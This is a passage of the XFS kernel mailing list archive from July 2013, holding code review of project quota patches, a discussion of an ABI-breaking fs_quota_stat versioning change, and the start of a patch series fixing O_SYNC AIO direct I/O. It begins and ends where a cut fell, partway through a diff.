xfs_ioctl_setattr, I'm not clear on why we're messing with the user dquot at all. Could it be removed entirely? A change in project id doesn't effect user quota, right? Maybe that's an idea for a separate patch. > STATIC void > -xfs_qm_dqattach_grouphint( > - xfs_dquot_t *udq, > - xfs_dquot_t *gdq) > +xfs_qm_dqattach_hint( > + struct xfs_inode *ip, > + int type) > { > - xfs_dquot_t *tmp; > + struct xfs_dquot **dqhint; Maybe clearer as dqhintp. > + struct xfs_dquot *dqp; > + struct xfs_dquot *udq = ip->i_udquot; > > xfs_dqlock(udq); > > - tmp = udq->q_gdquot; > - if (tmp) { > - if (tmp == gdq) If I understand this xfs_qm_dqattach_hint correctly, this might be nice: ASSERT(type == XFS_DQ_GROUP || type == XFS_DQ_PROJ); > diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c > index 2d02eac..72a4fdd 100644 > --- a/fs/xfs/xfs_qm_bhv.c > +++ b/fs/xfs/xfs_qm_bhv.c > @@ -115,7 +115,7 @@ xfs_qm_newmount( > (pquotaondisk && !XFS_IS_PQUOTA_ON(mp)) || > (!pquotaondisk && XFS_IS_PQUOTA_ON(mp)) || > (gquotaondisk && !XFS_IS_GQUOTA_ON(mp)) || > - (!gquotaondisk && XFS_IS_OQUOTA_ON(mp))) && > + (!gquotaondisk && XFS_IS_GQUOTA_ON(mp))) && These are not in the usual user/group/project order, and so are some other checks in this function. Could be cleaned up. Maybe a different patch too. From sekharan@us.ibm.com Wed Jul 10 16:46:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 171287F3F for ; Wed, 10 Jul 2013 16:46:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 052278F8040 for ; Wed, 10 Jul 2013 14:46:43 -0700 (PDT) X-ASG-Debug-ID: 1373492801-04cbb0468fdbc4a0001-NocioJ Received: from e36.co.us.ibm.com (e36.co.us.ibm.com [32.97.110.154]) by cuda.sgi.com with ESMTP id L8ElPvXTVZr95Tw4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 14:46:42 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.154 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] Received: from /spool/local by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 15:46:41 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 15:46:40 -0600 Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id A2D0D1FF002E for ; Wed, 10 Jul 2013 15:41:20 -0600 (MDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6ALkdiw159054 for ; Wed, 10 Jul 2013 15:46:39 -0600 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6ALkdhW017547 for ; Wed, 10 Jul 2013 15:46:39 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6ALkcrK017522; Wed, 10 Jul 2013 15:46:38 -0600 Subject: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. Reply-To: sekharan@us.ibm.com To: Ben Myers Cc: xfs@oss.sgi.com In-Reply-To: <20130710213907.GZ20932@sgi.com> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-9-git-send-email-sekharan@us.ibm.com> <20130710213907.GZ20932@sgi.com> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 10 Jul 2013 16:46:38 -0500 Message-ID: <1373492798.6020.34.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071021-7606-0000-0000-00000D3725B0 X-Barracuda-Connect: e36.co.us.ibm.com[32.97.110.154] X-Barracuda-Start-Time: 1373492802 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I am rolling up a new set with changes based on David's comments and Jan's comments. Will address your comments too. On Wed, 2013-07-10 at 16:39 -0500, Ben Myers wrote: > Hi Chandra, > > On Thu, Jun 27, 2013 at 05:25:11PM -0500, Chandra Seetharaman wrote: > > Add project quota changes to all the places where group quota field > > is used: > > * add separate project quota members into various structures > > * split project quota and group quotas so that instead of overriding > > the group quota members incore, the new project quota members are > > used instead > > * get rid of usage of the OQUOTA flag incore, in favor of separate > > * group and project quota flags. > > ^ * is extra? will fix > > > * add a project dquot argument to various functions. > > > > Not using the pquotino field from superblock yet. > > > > Signed-off-by: Chandra Seetharaman > > Patch looks good to me. > > Reviewed-by: Ben Myers > > I had just a few tiny nits and questions I found in review. If you were not > already planning to repost I suggest you ignore them. ;) > > Regards, > Ben > > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > > index 5e99968..71a8bc5 100644 > > --- a/fs/xfs/xfs_ioctl.c > > +++ b/fs/xfs/xfs_ioctl.c > > @@ -928,7 +928,7 @@ xfs_ioctl_setattr( > > struct xfs_trans *tp; > > unsigned int lock_flags = 0; > > struct xfs_dquot *udqp = NULL; > > - struct xfs_dquot *gdqp = NULL; > > + struct xfs_dquot *pdqp = NULL; > > struct xfs_dquot *olddquot = NULL; > > int code; > > > > @@ -957,7 +957,7 @@ xfs_ioctl_setattr( > > if (XFS_IS_QUOTA_ON(mp) && (mask & FSX_PROJID)) { > > code = xfs_qm_vop_dqalloc(ip, ip->i_d.di_uid, > > ip->i_d.di_gid, fa->fsx_projid, > > - XFS_QMOPT_PQUOTA, &udqp, &gdqp); > > + XFS_QMOPT_PQUOTA, &udqp, NULL, &pdqp); > > if (code) > > return code; > > } > > @@ -994,8 +994,8 @@ xfs_ioctl_setattr( > > XFS_IS_PQUOTA_ON(mp) && > > xfs_get_projid(ip) != fa->fsx_projid) { > > ASSERT(tp); > > - code = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, > > - capable(CAP_FOWNER) ? > > + code = xfs_qm_vop_chown_reserve(tp, ip, udqp, NULL, > > + pdqp, capable(CAP_FOWNER) ? > > XFS_QMOPT_FORCE_RES : 0); > > if (code) /* out of quota */ > > goto error_return; > > @@ -1113,7 +1113,7 @@ xfs_ioctl_setattr( > > if (xfs_get_projid(ip) != fa->fsx_projid) { > > if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp)) { > > olddquot = xfs_qm_vop_chown(tp, ip, > > - &ip->i_gdquot, gdqp); > > + &ip->i_pdquot, pdqp); > > } > > xfs_set_projid(ip, fa->fsx_projid); > > > > @@ -1160,13 +1160,13 @@ xfs_ioctl_setattr( > > */ > > xfs_qm_dqrele(olddquot); > > xfs_qm_dqrele(udqp); > > - xfs_qm_dqrele(gdqp); > > + xfs_qm_dqrele(pdqp); > > > > return code; > > > > error_return: > > xfs_qm_dqrele(udqp); > > - xfs_qm_dqrele(gdqp); > > + xfs_qm_dqrele(pdqp); > > xfs_trans_cancel(tp, 0); > > if (lock_flags) > > xfs_iunlock(ip, lock_flags); > > Here in xfs_ioctl_setattr, I'm not clear on why we're messing with the user > dquot at all. Could it be removed entirely? A change in project id doesn't > effect user quota, right? > > Maybe that's an idea for a separate patch. I will look into that after these get in :) > > > STATIC void > > -xfs_qm_dqattach_grouphint( > > - xfs_dquot_t *udq, > > - xfs_dquot_t *gdq) > > +xfs_qm_dqattach_hint( > > + struct xfs_inode *ip, > > + int type) > > { > > - xfs_dquot_t *tmp; > > + struct xfs_dquot **dqhint; > > Maybe clearer as dqhintp. > sure. > > + struct xfs_dquot *dqp; > > + struct xfs_dquot *udq = ip->i_udquot; > > > > xfs_dqlock(udq); > > > > - tmp = udq->q_gdquot; > > - if (tmp) { > > - if (tmp == gdq) > > If I understand this xfs_qm_dqattach_hint correctly, this might be nice: > > ASSERT(type == XFS_DQ_GROUP || type == XFS_DQ_PROJ); will do. > > > diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c > > index 2d02eac..72a4fdd 100644 > > --- a/fs/xfs/xfs_qm_bhv.c > > +++ b/fs/xfs/xfs_qm_bhv.c > > @@ -115,7 +115,7 @@ xfs_qm_newmount( > > (pquotaondisk && !XFS_IS_PQUOTA_ON(mp)) || > > (!pquotaondisk && XFS_IS_PQUOTA_ON(mp)) || > > (gquotaondisk && !XFS_IS_GQUOTA_ON(mp)) || > > - (!gquotaondisk && XFS_IS_OQUOTA_ON(mp))) && > > + (!gquotaondisk && XFS_IS_GQUOTA_ON(mp))) && > > These are not in the usual user/group/project order, and so are some other > checks in this function. Could be cleaned up. Maybe a different patch too. > I thought I fixed all of them around. Will fix this too. > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From jack@suse.cz Wed Jul 10 16:52:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 197C17F3F for ; Wed, 10 Jul 2013 16:52:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EDED830408F for ; Wed, 10 Jul 2013 14:52:18 -0700 (PDT) X-ASG-Debug-ID: 1373493136-04cb6c2a42b0b2b0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id QF6LEGdnasrn2ieu for ; Wed, 10 Jul 2013 14:52:17 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 26695A5388; Wed, 10 Jul 2013 23:52:16 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 142F880E5E; Wed, 10 Jul 2013 23:52:14 +0200 (CEST) Date: Wed, 10 Jul 2013 23:52:14 +0200 From: Jan Kara To: Ben Myers Cc: Jan Kara , Chandra Seetharaman , xfs@oss.sgi.com, swhiteho@redhat.com Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130710215214.GA1641@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> <20130710184704.GZ32736@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130710184704.GZ32736@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373493137 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed 10-07-13 13:47:04, Ben Myers wrote: > Hey Jan, > > On Wed, Jul 10, 2013 at 06:26:02PM +0200, Jan Kara wrote: > > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > > Hey Chandra, > > > > > > On Thu, Jun 27, 2013 at 05:25:13PM -0500, Chandra Seetharaman wrote: > > > > Added appropriate pads and code for backward compatibility. > > > > > > > > Copied over the old version as it is different from the newer padded > > > > version. > > > > > > > > New callers of the system call have to set the version of the data > > > > structure being passed, and kernel will fill as much data as requested. > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > > > I think we also need to > > > > > > Cc: Jan Kara > > Thanks for CC. > > > > > > diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c > > > > index c7c840e..ca0dccd 100644 > > > > --- a/fs/gfs2/quota.c > > > > +++ b/fs/gfs2/quota.c > > > > @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, > > > > { > > > > struct gfs2_sbd *sdp = sb->s_fs_info; > > > > > > > > - memset(fqs, 0, sizeof(struct fs_quota_stat)); > > > > - fqs->qs_version = FS_QSTAT_VERSION; > > > > - > > > > switch (sdp->sd_args.ar_quota) { > > > > case GFS2_QUOTA_ON: > > > > fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); > > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > > index c7314f1..ae6526e 100644 > > > > --- a/fs/quota/quota.c > > > > +++ b/fs/quota/quota.c > > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > > { > > > > struct fs_quota_stat fqs; > > > > - int ret; > > > > + struct fs_quota_stat_v1 fqs_v1; > > > > + int ret, size; > > > > + void *fqsp; > > > > > > > > if (!sb->s_qcop->get_xstate) > > > > return -ENOSYS; > > > > + > > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > > + return -EFAULT; > > > > + > > > > + switch (fqs.qs_version) { > > > > + case FS_QSTAT_VERSION_2: > > > > + size = FS_QSTAT_V2_SIZE; > > > > + break; > > > > + default: > > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > > + /* fallthrough */ > > > > + case FS_QSTAT_VERSION: > > > > + size = FS_QSTAT_V1_SIZE; > > > > + break; > > > > + } > > Guys, you cannot really do this. If anyone is using getxstate() with > > uninitialized buffer (which is fine so far), you cannot suddently start to > > rely on the contents of qs_version field. That's ABI (and even API) > > breakage. > > Looks like you are correct to me. Seems that qs_version number was never > checked until this patch. > > > Unless I'm missing something, the only clean way is to use new quotactl > > value for the interface with version field used for input as well. > > If I understand... it would be something like this? > > #define Q_XGETQSTATV XQM_CMD(8) Yes. > Or Q_XGETQSTAT2? I don't really care but the first name looks a bit better. Honza -- Jan Kara SUSE Labs, CR From jack@suse.cz Wed Jul 10 16:54:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CCD507F3F for ; Wed, 10 Jul 2013 16:54:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B68498F8081 for ; Wed, 10 Jul 2013 14:54:54 -0700 (PDT) X-ASG-Debug-ID: 1373493293-04cbb04691dbcf10001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id GcwLfYi5kG84UjYY for ; Wed, 10 Jul 2013 14:54:53 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id CE920A51FF; Wed, 10 Jul 2013 23:54:52 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 6558D80E5E; Wed, 10 Jul 2013 23:54:51 +0200 (CEST) Date: Wed, 10 Jul 2013 23:54:51 +0200 From: Jan Kara To: Chandra Seetharaman Cc: Jan Kara , Ben Myers , swhiteho@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130710215451.GB1641@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> <1373489390.6020.30.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373489390.6020.30.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373493293 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed 10-07-13 15:49:50, Chandra Seetharaman wrote: > On Wed, 2013-07-10 at 18:26 +0200, Jan Kara wrote: > > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > > Hey Chandra, > > > > > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > > index c7314f1..ae6526e 100644 > > > > --- a/fs/quota/quota.c > > > > +++ b/fs/quota/quota.c > > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > > { > > > > struct fs_quota_stat fqs; > > > > - int ret; > > > > + struct fs_quota_stat_v1 fqs_v1; > > > > + int ret, size; > > > > + void *fqsp; > > > > > > > > if (!sb->s_qcop->get_xstate) > > > > return -ENOSYS; > > > > + > > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > > + return -EFAULT; > > > > + > > > > + switch (fqs.qs_version) { > > > > + case FS_QSTAT_VERSION_2: > > > > + size = FS_QSTAT_V2_SIZE; > > > > + break; > > > > + default: > > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > > + /* fallthrough */ > > > > + case FS_QSTAT_VERSION: > > > > + size = FS_QSTAT_V1_SIZE; > > > > + break; > > > > + } > > Guys, you cannot really do this. If anyone is using getxstate() with > > uninitialized buffer (which is fine so far), you cannot suddently start to > > rely on the contents of qs_version field. That's ABI (and even API) > > breakage. > > Agree, it is a API breakage. > > Will fix it by adding a new quotactl value as you suggest. > Does > > #define Q_XGETQSTAT2 XQM_CMD(8) > > sound good ? Ben's Q_XGETQSTATV name looked a bit better to me but I don't really care. Whatever works for you... Honza -- Jan Kara SUSE Labs, CR From jack@suse.cz Wed Jul 10 17:01:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 01D947F3F for ; Wed, 10 Jul 2013 17:01:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D58D58F8040 for ; Wed, 10 Jul 2013 15:01:38 -0700 (PDT) X-ASG-Debug-ID: 1373493697-04cb6c2a42b0be50001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id AE3y9EyCnReFFEiJ for ; Wed, 10 Jul 2013 15:01:38 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 73D4AA51FF; Thu, 11 Jul 2013 00:01:37 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id E0ECA80E5E; Thu, 11 Jul 2013 00:01:35 +0200 (CEST) From: Jan Kara To: linux-fsdevel@vger.kernel.org Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, hch@lst.de, Jeff Moyer , Al Viro , Jan Kara Subject: [PATCH 0/2] Fix O_SYNC AIO DIO Date: Thu, 11 Jul 2013 00:01:27 +0200 X-ASG-Orig-Subj: [PATCH 0/2] Fix O_SYNC AIO DIO Message-Id: <1373493689-2168-1-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373493697 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hello, so now that necessary patches for ext4 writeback code are merged, I've ported Christoph's patches to fix handling of O_SYNC AIO DIO to current kernel. The patchset survives xfstests run for ext4 & xfs so it should be sane. Since this touches several filesystems (although only ext4 & xfs are non-trivial), the question is who should carry these patches. Maybe Al? But since xfs and ext4 changes are non-trivial, I'd like to have a review from their developers... Honza From jack@suse.cz Wed Jul 10 17:02:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0832A7F3F for ; Wed, 10 Jul 2013 17:02:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E7CCB8F807A for ; Wed, 10 Jul 2013 15:02:38 -0700 (PDT) X-ASG-Debug-ID: 1373493757-04cbb04691dbd760001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ByCPMuFETzROmuRl for ; Wed, 10 Jul 2013 15:02:37 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id DC06CA5388; Thu, 11 Jul 2013 00:02:36 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 4F6F780E5E; Thu, 11 Jul 2013 00:02:35 +0200 (CEST) From: Jan Kara To: linux-fsdevel@vger.kernel.org Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, hch@infradead.org, Jeff Moyer , Al Viro , Christoph Hellwig , Jan Kara Subject: [PATCH 2/2] direct-io: Handle O_(D)SYNC AIO Date: Thu, 11 Jul 2013 00:02:19 +0200 X-ASG-Orig-Subj: [PATCH 2/2] direct-io: Handle O_(D)SYNC AIO Message-Id: <1373493739-2243-2-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 In-Reply-To: <1373493739-2243-1-git-send-email-jack@suse.cz> References: <1373493739-2243-1-git-send-email-jack@suse.cz> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373493757 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Christoph Hellwig Call generic_write_sync() from the deferred I/O completion handler if O_DSYNC is set for a write request. Also make sure various callers don't call generic_write_sync if the direct I/O code returns -EIOCBQUEUED. Based on an earlier patch from Jan Kara with updates from Jeff Moyer and Darrick J. Wong . Signed-off-by: Christoph Hellwig Signed-off-by: Jan Kara --- fs/block_dev.c | 2 +- fs/btrfs/file.c | 2 +- fs/cifs/file.c | 2 +- fs/direct-io.c | 21 ++++++++++++++++++++- fs/ext4/file.c | 2 +- mm/filemap.c | 2 +- 6 files changed, 25 insertions(+), 6 deletions(-) diff --git a/fs/block_dev.c b/fs/block_dev.c index bb43ce0..a884054 100644 --- a/fs/block_dev.c +++ b/fs/block_dev.c @@ -1512,7 +1512,7 @@ ssize_t blkdev_aio_write(struct kiocb *iocb, const struct iovec *iov, blk_start_plug(&plug); ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); - if (ret > 0 || ret == -EIOCBQUEUED) { + if (ret > 0) { ssize_t err; err = generic_write_sync(file, pos, ret); diff --git a/fs/btrfs/file.c b/fs/btrfs/file.c index 89da56a..6eb61da 100644 --- a/fs/btrfs/file.c +++ b/fs/btrfs/file.c @@ -1610,7 +1610,7 @@ static ssize_t btrfs_file_aio_write(struct kiocb *iocb, */ BTRFS_I(inode)->last_trans = root->fs_info->generation + 1; BTRFS_I(inode)->last_sub_trans = root->log_transid; - if (num_written > 0 || num_written == -EIOCBQUEUED) { + if (num_written > 0) { err = generic_write_sync(file, pos, num_written); if (err < 0 && num_written > 0) num_written = err; diff --git a/fs/cifs/file.c b/fs/cifs/file.c index 91d8629..275ab19 100644 --- a/fs/cifs/file.c +++ b/fs/cifs/file.c @@ -2530,7 +2530,7 @@ cifs_writev(struct kiocb *iocb, const struct iovec *iov, mutex_unlock(&inode->i_mutex); } - if (rc > 0 || rc == -EIOCBQUEUED) { + if (rc > 0) { ssize_t err; err = generic_write_sync(file, pos, rc); diff --git a/fs/direct-io.c b/fs/direct-io.c index 36bddad..fe8562e 100644 --- a/fs/direct-io.c +++ b/fs/direct-io.c @@ -266,8 +266,18 @@ static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, dio->end_io(dio->iocb, offset, transferred, dio->private); inode_dio_done(dio->inode); - if (is_async) + if (is_async) { + if (dio->rw & WRITE) { + int err; + + err = generic_write_sync(dio->iocb->ki_filp, offset, + transferred); + if (err < 0 && ret > 0) + ret = err; + } + aio_complete(dio->iocb, ret, 0); + } kmem_cache_free(dio_cache, dio); return ret; @@ -1161,6 +1171,15 @@ do_blockdev_direct_IO(int rw, struct kiocb *iocb, struct inode *inode, dio->is_async = !is_sync_kiocb(iocb) && !((rw & WRITE) && (end > i_size_read(inode))); + /* + * For AIO O_(D)SYNC writes we need to defer completions to a workqueue + * so that we can call ->fsync. + */ + if (dio->is_async && (rw & WRITE) && + ((iocb->ki_filp->f_flags & O_DSYNC) || + IS_SYNC(iocb->ki_filp->f_mapping->host))) + dio->defer_completion = true; + retval = 0; dio->inode = inode; diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 6f4cc56..bb9efc0 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -149,7 +149,7 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); mutex_unlock(&inode->i_mutex); - if (ret > 0 || ret == -EIOCBQUEUED) { + if (ret > 0) { ssize_t err; err = 